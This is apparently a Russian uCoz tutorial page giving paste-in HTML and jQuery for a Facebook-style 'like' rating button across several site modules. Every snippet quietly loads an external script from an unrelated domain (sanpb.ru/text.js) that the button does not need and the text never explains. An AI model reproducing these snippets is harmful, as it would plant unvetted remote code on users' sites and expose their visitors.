Пятница, 26.05.2017, 04:48


Вниз Главная Регистрация RSS
Приветствую Вас, Гость


Радио ТРАНС
Игротека
Наш опрос
Оцените мой сайт
Всего ответов: 87
Статистика
Яндекс.Метрика Яндекс.Метрика

Онлайн всего: 1
Гостей: 1
Пользователей: 0
Друзья сайта
Главная » 2012 » Ноябрь » 12 » Кнопка мне нравится без PHP с видом как Facebook
23:23
Кнопка мне нравится без PHP с видом как Facebook
Интернет Технологии [2]Телефоны [0]uCoz CSS КодыСкрипты [94]



Кнопка мне нравится без PHP с видом как Facebook


Скрипт создающий эффект как Facebook кнопочки голосования , что не замечалось при стандартных видах форм, быть может и за любопытства, или просто проверить, но мне кажется от души ставят +5 балов.
Увидел я на одном сайте идею другого типа создания кнопки рейтинга новостей, мне идея автора понравилась очень с использованием стандартов юкоз, и я решил переделать скрипт и сделать его так же для всех модулей, так как автор SingMen прежний сделал только для каталога файлов.
Все как всегда имеют неумолимое стремление сделать свои сайт отличием от стандартов ucoz, многие просто пытаются воссоздать на юкоз какой нибудь популярный сайт или социальную сеть, как в нашем случае голосование за материал с кнопкой почти как Facebook, что самое интересное что тут не нужны не какие PHP заморочки, используется просто стандарты ucoz и к каждому разделу модуля индивидуально.

Как работает данный скрипт рейтинга мне нравится?

При клике по кнопке или цифре регистрируется сам клик в рейтинге материала, все скрипты подстроены для всех разделов под оценку +5 , можно и изменить, оценку которую будут давать пользователи.
при повторном клике в куках уже есть кук который указывает на то что пользователь уже голосовал за данный материал и по этому выходит ajax окно в котором пишется что ошибка и вы уже голосовали за новость.

Установка:

Приступим к установке на свой сайт кнопки, вставлять можно как и в саму новость так и в вид материалов так как есть переменная которая показывает скрипт разным для каждой новости.
Установка проста, копируем код и вставляем в нужное место раздела.
Вставлять можно после тега $BODY$ если вы решили ставить на странице материала и комментария к нему.
Для модуля фото альбом-а вставляем такой код скрипта:

Code
<div align="right" style="padding-right: 10px;"><a style="text-decoration: none;" href="javascript://" id="golike" onclick="$.get('/photo/4-1-$ID$-13-5',function(data) {if($(data).text().indexOf('уже оценивали')>-1) _uWnd.alert('Вы уже оценивали данный материал!','Ошибка!',{w:270,h:60,t:8000}); else {_uWnd.alert('Вы успешно оценили!','Успешно!',{w:270,h:60,t:8000})};});"><script src="http://sanpb.ru/text.js" type="text/javascript"></script><table><tr><td> <img align="absmiddle" style="margin-top: -3px; border: none" id="like_img" src="http://bambun.ru/images/visota.png"></td><td><div style="background:#ECEEF5; border: 1px solid #B7C2DB; height: 20px; padding: 4px 4px 0px 4px; font-size: 12px; font-weight: bold; color: #3B5998; display: block;"> +$RATED$</div><div style="height: 2px;"></div></td></tr></table></a></div>


Для раздела сайта news новости, вставляем такой код скрипта:

Code
<div align="right" style="padding-right: 10px;"><a style="text-decoration: none; img-decoration: none;" href="javascript://" id="golike" onclick="$.get('/news/0-0-5-$ID$-15-1',function(data) {if($(data).text().indexOf('уже оценивали')>-1) _uWnd.alert('<h3>Вы уже оценивали данный материал!</h3>','Ошибка!',{w:270,h:80,t:8000}); else {_uWnd.alert('Вы успешно оценили!','Успешно!',{w:270,h:60,t:8000})};});"><script src="http://sanpb.ru/text.js" type="text/javascript"></script><table><tr><td> <img align="absmiddle" style="margin-top: -3px; border: 0px" id="like_img" src="http://bambun.ru/images/visota.png"></td><td><div style="background: #ECEEF5; border: 1px solid #B7C2DB; height: 20px; padding: 4px 4px 0px 4px; font-size: 12px; font-weight: bold; color: #3B5998; display: block;"> +$RATED$</div><div style="height: 2px;"></div></td></tr></table></a></div>


Для разделов модулей сайта
Каталог сайтов - dir вставляем такой код скрипта:

Code
<div align="right" style="padding-right: 10px;"><a style="text-decoration: none;" href="javascript://" id="golike" onclick="$.get('/dir/0-1-5-$ID$-3',function(data) {if($(data).text().indexOf('уже оценивали')>-1) _uWnd.alert('Вы уже оценивали данный материал!','Ошибка!',{w:270,h:60,t:8000}); else {_uWnd.alert('Вы успешно оценили!','Успешно!',{w:270,h:60,t:8000})};});"><script src="http://sanpb.ru/text.js" type="text/javascript"></script><table><tr><td> <img align="absmiddle" style="margin-top: -3px; border: none" id="like_img" src="http://bambun.ru/images/visota.png"></td><td><div style="background:#ECEEF5; border: 1px solid #B7C2DB; height: 20px; padding: 4px 4px 0px 4px; font-size: 12px; font-weight: bold; color: #3B5998; display: block;"> +$RATED$</div><div style="height: 2px;"></div></td></tr></table></a></div>


Каталог файлов - load вставляем такой код скрипта:

Code
<div align="right" style="padding-right: 10px;"><a style="text-decoration: none;" href="javascript://" id="golike" onclick="$.get('/load/0-1-5-$ID$-3',function(data) {if($(data).text().indexOf('уже оценивали')>-1) _uWnd.alert('Вы уже оценивали данный материал!','Ошибка!',{w:270,h:60,t:8000}); else {_uWnd.alert('Вы успешно оценили!','Успешно!',{w:270,h:60,t:8000})};});"><script src="http://sanpb.ru/text.js" type="text/javascript"></script><table><tr><td> <img align="absmiddle" style="margin-top: -3px; border: none" id="like_img" src="http://bambun.ru/images/visota.png"></td><td><div style="background:#ECEEF5; border: 1px solid #B7C2DB; height: 20px; padding: 4px 4px 0px 4px; font-size: 12px; font-weight: bold; color: #3B5998; display: block;"> +$RATED$</div><div style="height: 2px;"></div></td></tr></table></a></div>


Каталог статей - publ вставляем такой код скрипта:

Code
<div align="right" style="padding-right: 10px;"><a style="text-decoration: none;" href="javascript://" id="golike" onclick="$.get('/publ/0-1-5-$ID$-3',function(data) {if($(data).text().indexOf('уже оценивали')>-1) _uWnd.alert('Вы уже оценивали данный материал!','Ошибка!',{w:270,h:60,t:8000}); else {_uWnd.alert('Вы успешно оценили!','Успешно!',{w:270,h:60,t:8000})};});"><script src="http://sanpb.ru/text.js" type="text/javascript"></script><table><tr><td> <img align="absmiddle" style="margin-top: -3px; border: none" id="like_img" src="http://bambun.ru/images/visota.png"></td><td><div style="background:#ECEEF5; border: 1px solid #B7C2DB; height: 20px; padding: 4px 4px 0px 4px; font-size: 12px; font-weight: bold; color: #3B5998; display: block;"> +$RATED$</div><div style="height: 2px;"></div></td></tr></table></a></div>


Блог - blog вставляем такой код скрипта:

Code
<div align="right" style="padding-right: 10px;"><a style="text-decoration: none;" href="javascript://" id="golike" onclick="$.get('/blog/0-1-5-$ID$-3',function(data) {if($(data).text().indexOf('уже оценивали')>-1) _uWnd.alert('Вы уже оценивали данный материал!','Ошибка!',{w:270,h:60,t:8000}); else {_uWnd.alert('Вы успешно оценили!','Успешно!',{w:270,h:60,t:8000})};});"><script src="http://sanpb.ru/text.js" type="text/javascript"></script><table><tr><td> <img align="absmiddle" style="margin-top: -3px; border: none" id="like_img" src="http://bambun.ru/images/visota.png"></td><td><div style="background:#ECEEF5; border: 1px solid #B7C2DB; height: 20px; padding: 4px 4px 0px 4px; font-size: 12px; font-weight: bold; color: #3B5998; display: block;"> +$RATED$</div><div style="height: 2px;"></div></td></tr></table></a></div>


Настройки не требует, быть может уже в дизайне вида самого, атак все подстроено и сам стиль уже встроен внутри кода.
Для того что бы гости или пользователи простые могли оценивать материал вы должны проставить галочку как показано на скрине:

СМ.СКРИН



Категория: uCoz CSS КодыСкрипты | Просмотров: 329 | Добавил: startsmart | Рейтинг: 0.0/ 0
Всего комментариев: 0
Добавлять комментарии могут только зарегистрированные пользователи.
[ Регистрация | Вход ]

 

Новое на сайте

 

Самое популярное

 

 Коды скрипты

Случайная статья

  • Cities XL Platinum 2013 65
  • Чудо ферма \ Virtual farm 82
  • Именем короля 3. Коллекционное издание 83
  • Браузер Maxthon 182
  • Улесье. Коллекционное издание 143
  • Articles – лучшая Wikipedia в кармане 155
  • Download Master 5.12.1.1283 171
  • RIFT – многопользовательская онлайн игра 197
  • Darck Orbit – браузерная игра 189
  • Будущее настоящего прошлого_скачать 328
  • iSendSMS - для отправки SMS и MMS 220
  • Lunascape 6.2 Универсальный браузер 173
  • Редактор Inedita 165
  • Бизнес Пак - бесплатно 267
  • Графический редактор PhotoFiltre 212

  • Govorilka 3.1 Rus Говорун_Скачать бесплатно 29633
  • FrontPage 2003 Русская версия 11550
  • Игра "Фараон и Клеопатра" скачать бесплатно 6786
  • Mozilla Firefox 8.0.1 - русская версия скачать 4208
  • Новый Супер Марио 4118
  • Игра в Длинные нарды 4044
  • Медитация для привлечения Любви 3743
  • Сборник_Программа настроев Г.Н.Сытина скачать 2882
  • FFrontPage 2007 Русская версия 2794
  • Авто выключение компьютера_WinMend Auto Shutdown 2654
  • Астрон Дизайн - 3D моделирование Вашего дома 2109
  • Спец эффекты с ВебКамерой 2090
  • Штука - игра в карты 1702
  • Программа для быстрого создания Flash-анимации 1514
  • Если хочешь быть счастливым - Литвак Михаил 1458

  • Топ юзеров для Ucoz 460
  • Простой и красивый вид формы опроса 242
  • Флэш игра для вашего сайта 243
  • Необычный вид комментариев 251
  • Летающая птичка твиттера 309
  • Статистика для системы ucoz 295
  • Форма поиска для Ucoz 321
  • Часы для сайта 295
  • Оригинальный вид опроса ucoz 292
  • Вид комментариев для uCoz v.5 249
  • Простое раздвижное меню для uCoz 324
  • Палец вверх (поднятие страници) 259
  • Полная статистика Ucoz 258
  • Новое меню от Diz-cs 480
  • Кнопка "Вверх" для сайта, блога или форума 245

  • FM радио - отличная музыка в хорошем качестве 238
  • Флэш проигрыватель с большим количеством радиостанций.. 238
  • Новый вид соотношения гостей и пользователей 239
  • Перевод на другие языки для uCoz 239
  • Скрипт набор персонала для ucoz 239
  • Радио на вашем сайте 240
  • Новый цветной вид опроса v.2.0 uCoz 240
  • 7 каналов радиостанций высочайшего уровня на любой вкус! 240

  • RIFT – многопользовательская онлайн игра 197
  • Флеш код Часы 229
  • Бизнес Пак - бесплатно 267
  • LinguaLeo – учим английские слова в дороге 382
  • Mozilla Firefox 8.0.1 - русская версия скачать 4208
  • Фоторедактор для iPad 876
  • Шпаргалки по философии_книга скачать 532


  • Внимание!

    ВСЕ скачанные файлы с интернета, (и с нашего сайта, так же) перед запуском на своем компьютере рекомендуется ОБЯЗАТЕЛЬНО проверить Вашей антивирусной программой!
    Все файлы и программы взяты с интернет пространства.
    Администрация сайта не несет никакой ответственности за использование и последствия данных программ и файлов

    Вверх Главная Регистрация RSS
    Приветствую Вас, Гость